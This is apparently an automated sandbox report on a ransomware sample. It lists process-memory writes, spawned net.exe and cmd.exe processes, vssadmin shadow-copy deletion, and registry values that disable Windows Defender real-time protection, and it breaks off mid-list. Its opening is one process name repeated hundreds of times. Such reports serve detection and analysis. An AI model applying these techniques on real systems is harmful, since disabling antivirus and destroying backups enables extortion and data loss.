ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe 2536 safeboot network ransomware.exe - Suspicious use of WriteProcessMemory 233 IoCs
description pid Process procid_target PID 2536 wrote to memory of 652 2536 safeboot network ransomware.exe 66 PID 2536 wrote to memory of 652 2536 safeboot network ransomware.exe 66 PID 2536 wrote to memory of 1732 2536 safeboot network ransomware.exe 69 PID 2536 wrote to memory of 1732 2536 safeboot network ransomware.exe 69 PID 2536 wrote to memory of 1668 2536 safeboot network ransomware.exe 71 PID 2536 wrote to memory of 1668 2536 safeboot network ransomware.exe 71 PID 2536 wrote to memory of 2088 2536 safeboot network ransomware.exe 73 PID 2536 wrote to memory of 2088 2536 safeboot network ransomware.exe 73 PID 2536 wrote to memory of 2652 2536 safeboot network ransomware.exe 75 PID 2536 wrote to memory of 2652 2536 safeboot network ransomware.exe 75 PID 2536 wrote to memory of 3060 2536 safeboot network ransomware.exe 77 PID 2536 wrote to memory of 3060 2536 safeboot network ransomware.exe 77 PID 2536 wrote to memory of 2004 2536 safeboot network ransomware.exe 79 PID 2536 wrote to memory of 2004 2536 safeboot network ransomware.exe 79 PID 2536 wrote to memory of 3096 2536 safeboot network ransomware.exe 81 PID 2536 wrote to memory of 3096 2536 safeboot network ransomware.exe 81 PID 2536 wrote to memory of 2200 2536 safeboot network ransomware.exe 83 PID 2536 wrote to memory of 2200 2536 safeboot network ransomware.exe 83 PID 2536 wrote to memory of 1236 2536 safeboot network ransomware.exe 85 PID 2536 wrote to memory of 1236 2536 safeboot network ransomware.exe 85 PID 2536 wrote to memory of 1748 2536 safeboot network ransomware.exe 87 PID 2536 wrote to memory of 1748 2536 safeboot network ransomware.exe 87 PID 2536 wrote to memory of 4180 2536 safeboot network ransomware.exe 89 PID 2536 wrote to memory of 4180 2536 safeboot network ransomware.exe 89 PID 2536 wrote to memory of 4304 2536 safeboot network ransomware.exe 91 PID 2536 wrote to memory of 4304 2536 safeboot network ransomware.exe 91 PID 2536 wrote to memory of 4356 2536 safeboot network ransomware.exe 93 PID 2536 wrote to memory of 4356 2536 safeboot network ransomware.exe 93 PID 2536 wrote to memory of 4368 2536 safeboot network ransomware.exe 94 PID 2536 wrote to memory of 4368 2536 safeboot network ransomware.exe 94 PID 2536 wrote to memory of 4396 2536 safeboot network ransomware.exe 96 PID 2536 wrote to memory of 4396 2536 safeboot network ransomware.exe 96 PID 2536 wrote to memory of 4428 2536 safeboot network ransomware.exe 98 PID 2536 wrote to memory of 4428 2536 safeboot network ransomware.exe 98 PID 2536 wrote to memory of 4468 2536 safeboot network ransomware.exe 100 PID 2536 wrote to memory of 4468 2536 safeboot network ransomware.exe 100 PID 2536 wrote to memory of 4528 2536 safeboot network ransomware.exe 102 PID 2536 wrote to memory of 4528 2536 safeboot network ransomware.exe 102 PID 2536 wrote to memory of 4568 2536 safeboot network ransomware.exe 104 PID 2536 wrote to memory of 4568 2536 safeboot network ransomware.exe 104 PID 2536 wrote to memory of 4612 2536 safeboot network ransomware.exe 106 PID 2536 wrote to memory of 4612 2536 safeboot network ransomware.exe 106 PID 2536 wrote to memory of 4656 2536 safeboot network ransomware.exe 108 PID 2536 wrote to memory of 4656 2536 safeboot network ransomware.exe 108 PID 2536 wrote to memory of 4688 2536 safeboot network ransomware.exe 110 PID 2536 wrote to memory of 4688 2536 safeboot network ransomware.exe 110 PID 2536 wrote to memory of 4724 2536 safeboot network ransomware.exe 112 PID 2536 wrote to memory of 4724 2536 safeboot network ransomware.exe 112 PID 4356 wrote to memory of 4752 4356 net.exe 113 PID 4356 wrote to memory of 4752 4356 net.exe 113 PID 4368 wrote to memory of 4780 4368 net.exe 115 PID 4368 wrote to memory of 4780 4368 net.exe 115 PID 2536 wrote to memory of 4796 2536 safeboot network ransomware.exe 116 PID 2536 wrote to memory of 4796 2536 safeboot network ransomware.exe 116 PID 2536 wrote to memory of 4828 2536 safeboot network ransomware.exe 118 PID 2536 wrote to memory of 4828 2536 safeboot network ransomware.exe 118 PID 4396 wrote to memory of 4868 4396 net.exe 120 PID 4396 wrote to memory of 4868 4396 net.exe 120 PID 2536 wrote to memory of 4896 2536 safeboot network ransomware.exe 121 PID 2536 wrote to memory of 4896 2536 safeboot network ransomware.exe 121 PID 4428 wrote to memory of 4924 4428 net.exe 122 PID 4428 wrote to memory of 4924 4428 net.exe 122 PID 2536 wrote to memory of 4948 2536 safeboot network ransomware.exe 124 PID 2536 wrote to memory of 4948 2536 safeboot network ransomware.exe 124 PID 4468 wrote to memory of 5000 4468 net.exe 126 PID 4468 wrote to memory of 5000 4468 net.exe 126 PID 4528 wrote to memory of 5008 4528 net.exe 127 PID 4528 wrote to memory of 5008 4528 net.exe 127 PID 2536 wrote to memory of 5028 2536 safeboot network ransomware.exe 128 PID 2536 wrote to memory of 5028 2536 safeboot network ransomware.exe 128 PID 4568 wrote to memory of 5060 4568 net.exe 129 PID 4568 wrote to memory of 5060 4568 net.exe 129 PID 2536 wrote to memory of 5108 2536 safeboot network ransomware.exe 131 PID 2536 wrote to memory of 5108 2536 safeboot network ransomware.exe 131 PID 2536 wrote to memory of 2988 2536 safeboot network ransomware.exe 133 PID 2536 wrote to memory of 2988 2536 safeboot network ransomware.exe 133 PID 4612 wrote to memory of 4200 4612 net.exe 134 PID 4612 wrote to memory of 4200 4612 net.exe 134 PID 4656 wrote to memory of 4364 4656 net.exe 135 PID 4656 wrote to memory of 4364 4656 net.exe 135 PID 4688 wrote to memory of 4564 4688 net.exe 137 PID 4688 wrote to memory of 4564 4688 net.exe 137 PID 2536 wrote to memory of 3636 2536 safeboot network ransomware.exe 138 PID 2536 wrote to memory of 3636 2536 safeboot network ransomware.exe 138 PID 2536 wrote to memory of 4760 2536 safeboot network ransomware.exe 140 PID 2536 wrote to memory of 4760 2536 safeboot network ransomware.exe 140 PID 4796 wrote to memory of 4996 4796 net.exe 142 PID 4796 wrote to memory of 4996 4796 net.exe 142 PID 2536 wrote to memory of 5016 2536 safeboot network ransomware.exe 143 PID 2536 wrote to memory of 5016 2536 safeboot network ransomware.exe 143 PID 4724 wrote to memory of 2180 4724 net.exe 144 PID 4724 wrote to memory of 2180 4724 net.exe 144 PID 2536 wrote to memory of 4824 2536 safeboot network ransomware.exe 146 PID 2536 wrote to memory of 4824 2536 safeboot network ransomware.exe 146 PID 4828 wrote to memory of 5132 4828 net.exe 147 PID 4828 wrote to memory of 5132 4828 net.exe 147 PID 2536 wrote to memory of 5176 2536 safeboot network ransomware.exe 149 PID 2536 wrote to memory of 5176 2536 safeboot network ransomware.exe 149 PID 2536 wrote to memory of 5248 2536 safeboot network ransomware.exe 151 PID 2536 wrote to memory of 5248 2536 safeboot network ransomware.exe 151 PID 4896 wrote to memory of 5284 4896 net.exe 152 PID 4896 wrote to memory of 5284 4896 net.exe 152 PID 4948 wrote to memory of 5324 4948 net.exe 154 PID 4948 wrote to memory of 5324 4948 net.exe 154 PID 2536 wrote to memory of 5336 2536 safeboot network ransomware.exe 155 PID 2536 wrote to memory of 5336 2536 safeboot network ransomware.exe 155 PID 2536 wrote to memory of 5384 2536 safeboot network ransomware.exe 157 PID 2536 wrote to memory of 5384 2536 safeboot network ransomware.exe 157 PID 5028 wrote to memory of 5404 5028 net.exe 158 PID 5028 wrote to memory of 5404 5028 net.exe 158 PID 5108 wrote to memory of 5448 5108 net.exe 160 PID 5108 wrote to memory of 5448 5108 net.exe 160 PID 2536 wrote to memory of 5468 2536 safeboot network ransomware.exe 161 PID 2536 wrote to memory of 5468 2536 safeboot network ransomware.exe 161 PID 2988 wrote to memory of 5508 2988 net.exe 163 PID 2988 wrote to memory of 5508 2988 net.exe 163 PID 2536 wrote to memory of 5520 2536 safeboot network ransomware.exe 164 PID 2536 wrote to memory of 5520 2536 safeboot network ransomware.exe 164 PID 3636 wrote to memory of 5576 3636 net.exe 165 PID 3636 wrote to memory of 5576 3636 net.exe 165 PID 2536 wrote to memory of 5560 2536 safeboot network ransomware.exe 167 PID 2536 wrote to memory of 5560 2536 safeboot network ransomware.exe 167 PID 4760 wrote to memory of 5608 4760 net.exe 168 PID 4760 wrote to memory of 5608 4760 net.exe 168 PID 2536 wrote to memory of 5640 2536 safeboot network ransomware.exe 170 PID 2536 wrote to memory of 5640 2536 safeboot network ransomware.exe 170 PID 2536 wrote to memory of 5684 2536 safeboot network ransomware.exe 172 PID 2536 wrote to memory of 5684 2536 safeboot network ransomware.exe 172 PID 5016 wrote to memory of 5708 5016 net.exe 173 PID 5016 wrote to memory of 5708 5016 net.exe 173 PID 4824 wrote to memory of 5720 4824 net.exe 174 PID 4824 wrote to memory of 5720 4824 net.exe 174 PID 2536 wrote to memory of 5764 2536 safeboot network ransomware.exe 176 PID 2536 wrote to memory of 5764 2536 safeboot network ransomware.exe 176 PID 2536 wrote to memory of 5828 2536 safeboot network ransomware.exe 178 PID 2536 wrote to memory of 5828 2536 safeboot network ransomware.exe 178 PID 5176 wrote to memory of 5876 5176 net.exe 179 PID 5176 wrote to memory of 5876 5176 net.exe 179 PID 2536 wrote to memory of 5900 2536 safeboot network ransomware.exe 181 PID 2536 wrote to memory of 5900 2536 safeboot network ransomware.exe 181 PID 5248 wrote to memory of 5940 5248 net.exe 182 PID 5248 wrote to memory of 5940 5248 net.exe 182 PID 2536 wrote to memory of 5968 2536 safeboot network ransomware.exe 184 PID 2536 wrote to memory of 5968 2536 safeboot network ransomware.exe 184 PID 5336 wrote to memory of 5980 5336 net.exe 185 PID 5336 wrote to memory of 5980 5336 net.exe 185 PID 2536 wrote to memory of 6028 2536 safeboot network ransomware.exe 187 PID 2536 wrote to memory of 6028 2536 safeboot network ransomware.exe 187 PID 5384 wrote to memory of 6068 5384 net.exe 189 PID 5384 wrote to memory of 6068 5384 net.exe 189 PID 2536 wrote to memory of 6084 2536 safeboot network ransomware.exe 190 PID 2536 wrote to memory of 6084 2536 safeboot network ransomware.exe 190 PID 5468 wrote to memory of 6116 5468 net.exe 191 PID 5468 wrote to memory of 6116 5468 net.exe 191 PID 5520 wrote to memory of 1128 5520 net.exe 193 PID 5520 wrote to memory of 1128 5520 net.exe 193 PID 2536 wrote to memory of 5184 2536 safeboot network ransomware.exe 194 PID 2536 wrote to memory of 5184 2536 safeboot network ransomware.exe 194 PID 5560 wrote to memory of 4472 5560 net.exe 197 PID 5560 wrote to memory of 4472 5560 net.exe 197 PID 5684 wrote to memory of 5748 5684 net.exe 198 PID 5684 wrote to memory of 5748 5684 net.exe 198 PID 5640 wrote to memory of 4584 5640 net.exe 199 PID 5640 wrote to memory of 4584 5640 net.exe 199 PID 5764 wrote to memory of 4924 5764 net.exe 200 PID 5764 wrote to memory of 4924 5764 net.exe 200 PID 5900 wrote to memory of 4812 5900 net.exe 201 PID 5900 wrote to memory of 4812 5900 net.exe 201 PID 5828 wrote to memory of 4556 5828 net.exe 202 PID 5828 wrote to memory of 4556 5828 net.exe 202 PID 5968 wrote to memory of 5124 5968 net.exe 203 PID 5968 wrote to memory of 5124 5968 net.exe 203 PID 6028 wrote to memory of 5816 6028 net.exe 204 PID 6028 wrote to memory of 5816 6028 net.exe 204 PID 2536 wrote to memory of 5864 2536 safeboot network ransomware.exe 205 PID 2536 wrote to memory of 5864 2536 safeboot network ransomware.exe 205 PID 2536 wrote to memory of 4436 2536 safeboot network ransomware.exe 206 PID 2536 wrote to memory of 4436 2536 safeboot network ransomware.exe 206 PID 2536 wrote to memory of 3872 2536 safeboot network ransomware.exe 209 PID 2536 wrote to memory of 3872 2536 safeboot network ransomware.exe 209 PID 2536 wrote to memory of 4240 2536 safeboot network ransomware.exe 210 PID 2536 wrote to memory of 4240 2536 safeboot network ransomware.exe 210 PID 2536 wrote to memory of 5260 2536 safeboot network ransomware.exe 211 PID 2536 wrote to memory of 5260 2536 safeboot network ransomware.exe 211 PID 2536 wrote to memory of 4324 2536 safeboot network ransomware.exe 215 PID 2536 wrote to memory of 4324 2536 safeboot network ransomware.exe 215 PID 2536 wrote to memory of 4848 2536 safeboot network ransomware.exe 216 PID 2536 wrote to memory of 4848 2536 safeboot network ransomware.exe 216 PID 2536 wrote to memory of 4640 2536 safeboot network ransomware.exe 218 PID 2536 wrote to memory of 4640 2536 safeboot network ransomware.exe 218 PID 2536 wrote to memory of 4896 2536 safeboot network ransomware.exe 220 PID 2536 wrote to memory of 4896 2536 safeboot network ransomware.exe 220 PID 2536 wrote to memory of 4452 2536 safeboot network ransomware.exe 222 PID 2536 wrote to memory of 4452 2536 safeboot network ransomware.exe 222 PID 2536 wrote to memory of 4628 2536 safeboot network ransomware.exe 224 PID 2536 wrote to memory of 4628 2536 safeboot network ransomware.exe 224 PID 2536 wrote to memory of 6040 2536 safeboot network ransomware.exe 226 PID 2536 wrote to memory of 6040 2536 safeboot network ransomware.exe 226 PID 2536 wrote to memory of 4792 2536 safeboot network ransomware.exe 229 PID 2536 wrote to memory of 4792 2536 safeboot network ransomware.exe 229 PID 2536 wrote to memory of 4808 2536 safeboot network ransomware.exe 230 PID 2536 wrote to memory of 4808 2536 safeboot network ransomware.exe 230 PID 2536 wrote to memory of 4856 2536 safeboot network ransomware.exe 232 PID 2536 wrote to memory of 4856 2536 safeboot network ransomware.exe 232 PID 2536 wrote to memory of 4836 2536 safeboot network ransomware.exe 234 PID 2536 wrote to memory of 4836 2536 safeboot network ransomware.exe 234 PID 2536 wrote to memory of 5376 2536 safeboot network ransomware.exe 236 PID 2536 wrote to memory of 5376 2536 safeboot network ransomware.exe 236 PID 2536 wrote to memory of 4576 2536 safeboot network ransomware.exe 238 PID 2536 wrote to memory of 4576 2536 safeboot network ransomware.exe 238 PID 2536 wrote to memory of 4932 2536 safeboot network ransomware.exe 240 PID 2536 wrote to memory of 4932 2536 safeboot network ransomware.exe 240 PID 2536 wrote to memory of 5164 2536 safeboot network ransomware.exe 243 PID 2536 wrote to memory of 5164 2536 safeboot network ransomware.exe 243 PID 2536 wrote to memory of 5584 2536 safeboot network ransomware.exe 248 PID 2536 wrote to memory of 5584 2536 safeboot network ransomware.exe 248 PID 2536 wrote to memory of 3796 2536 safeboot network ransomware.exe 250 PID 2536 wrote to memory of 3796 2536 safeboot network ransomware.exe 250 PID 2536 wrote to memory of 3796 2536 safeboot network ransomware.exe 250 PID 2536 wrote to memory of 2776 2536 safeboot network ransomware.exe 251 PID 2536 wrote to memory of 2776 2536 safeboot network ransomware.exe 251 PID 2536 wrote to memory of 4868 2536 safeboot network ransomware.exe 254 PID 2536 wrote to memory of 4868 2536 safeboot network ransomware.exe 254 PID 2536 wrote to memory of 4196 2536 safeboot network ransomware.exe 255 PID 2536 wrote to memory of 4196 2536 safeboot network ransomware.exe 255 PID 2536 wrote to memory of 2592 2536 safeboot network ransomware.exe 257 PID 2536 wrote to memory of 2592 2536 safeboot network ransomware.exe 257 PID 4196 wrote to memory of 2820 4196 cmd.exe 259 PID 4196 wrote to memory of 2820 4196 cmd.exe 259 PID 2592 wrote to memory of 3964 2592 cmd.exe 260 PID 2592 wrote to memory of 3964 2592 cmd.exe 260 PID 4196 wrote to memory of 2784 4196 cmd.exe 263 PID 4196 wrote to memory of 2784 4196 cmd.exe 263 - Interacts with shadow copies 2 TTPs 14 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5376 vssadmin.exe 4792 vssadmin.exe 4808 vssadmin.exe 4836 vssadmin.exe 4848 vssadmin.exe 4856 vssadmin.exe 4576 vssadmin.exe 4932 vssadmin.exe 4896 vssadmin.exe 4452 vssadmin.exe 6040 vssadmin.exe 4324 vssadmin.exe 4640 vssadmin.exe 4628 vssadmin.exe - Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Modifies service 2 TTPs 5 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5} vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" safeboot network ransomware.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" safeboot network ransomware.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" safeboot network ransomware.exe - Suspicious use of AdjustPrivilegeToken 296 IoCs
description pid Process Token: SeDebugPrivilege 2536 safeboot network ransomware.exe Token: SeDebugPrivilege 652 powershell.exe Token: SeIncreaseQuotaPrivilege 652 powershell.exe Token: SeSecurityPrivilege 652 powershell.exe Token: SeTakeOwnershipPrivilege 652 powershell.exe Token: SeLoadDriverPrivilege 652 powershell.exe Token: SeSystemProfilePrivilege 652 powershell.exe Token: SeSystemtimePrivilege 652 powershell.exe Token: SeProfSingleProcessPrivilege 652 powershell.exe Token: SeIncBasePriorityPrivilege 652 powershell.exe Token: SeCreatePagefilePrivilege 652 powershell.exe Token: SeBackupPrivilege 652 powershell.exe Token: SeRestorePrivilege 652 powershell.exe Token: SeShutdownPrivilege 652 powershell.exe Token: SeDebugPrivilege 652 powershell.exe Token: SeSystemEnvironmentPrivilege 652 powershell.exe Token: SeRemoteShutdownPrivilege 652 powershell.exe Token: SeUndockPrivilege 652 powershell.exe Token: SeManageVolumePrivilege 652 powershell.exe Token: 33 652 powershell.exe Token: 34 652 powershell.exe Token: 35 652 powershell.exe Token: 36 652 powershell.exe Token: SeDebugPrivilege 1732 powershell.exe Token: SeDebugPrivilege 1668 powershell.exe Token: SeDebugPrivilege 2088 powershell.exe Token: SeDebugPrivilege 2652 powershell.exe Token: SeDebugPrivilege 3060 powershell.exe Token: SeDebugPrivilege 2004 powershell.exe Token: SeDebugPrivilege 3096 powershell.exe Token: SeIncreaseQuotaPrivilege 1732 powershell.exe Token: SeSecurityPrivilege 1732 powershell.exe Token: SeTakeOwnershipPrivilege 1732 powershell.exe Token: SeLoadDriverPrivilege 1732 powershell.exe Token: SeSystemProfilePrivilege 1732 powershell.exe Token: SeSystemtimePrivilege 1732 powershell.exe Token: SeProfSingleProcessPrivilege 1732 powershell.exe Token: SeIncBasePriorityPrivilege 1732 powershell.exe Token: SeCreatePagefilePrivilege 1732 powershell.exe Token: SeBackupPrivilege 1732 powershell.exe Token: SeRestorePrivilege 1732 powershell.exe Token: SeShutdownPrivilege 1732 powershell.exe Token: SeDebugPrivilege 1732 powershell.exe Token: SeSystemEnvironmentPrivilege 1732 powershell.exe Token: SeRemoteShutdownPrivilege 1732 powershell.exe Token: SeUndockPrivilege 1732 powershell.exe Token: SeManageVolumePrivilege 1732 powershell.exe Token: 33 1732 powershell.exe Token: 34 1732 powershell.exe Token: 35 1732 powershell.exe Token: 36 1732 powershell.exe Token: SeIncreaseQuotaPrivilege 2088 powershell.exe Token: SeSecurityPrivilege 2088 powershell.exe Token: SeTakeOwnershipPrivilege 2088 powershell.exe Token: SeLoadDriverPrivilege 2088 powershell.exe Token: SeSystemProfilePrivilege 2088 powershell.exe Token: SeSystemtimePrivilege 2088 powershell.exe Token: SeProfSingleProcessPrivilege 2088 powershell.exe Token: SeIncBasePriorityPrivilege 2088 powershell.exe Token: SeCreatePagefilePrivilege 2088 powershell.exe Token: SeBackupPrivilege 2088 powershell.exe Token: SeRestorePrivilege 2088 powershell.exe Token: SeShutdownPrivilege 2088 powershell.exe Token: SeDebugPrivilege 2088 powershell.exe Token: SeSystemEnvironmentPrivilege 2088 powershell.exe Token: SeRemoteShutdownPrivilege 2088 powershell.exe Token: SeUndockPrivilege 2088 powershell.exe Token: SeManageVolumePrivilege 2088 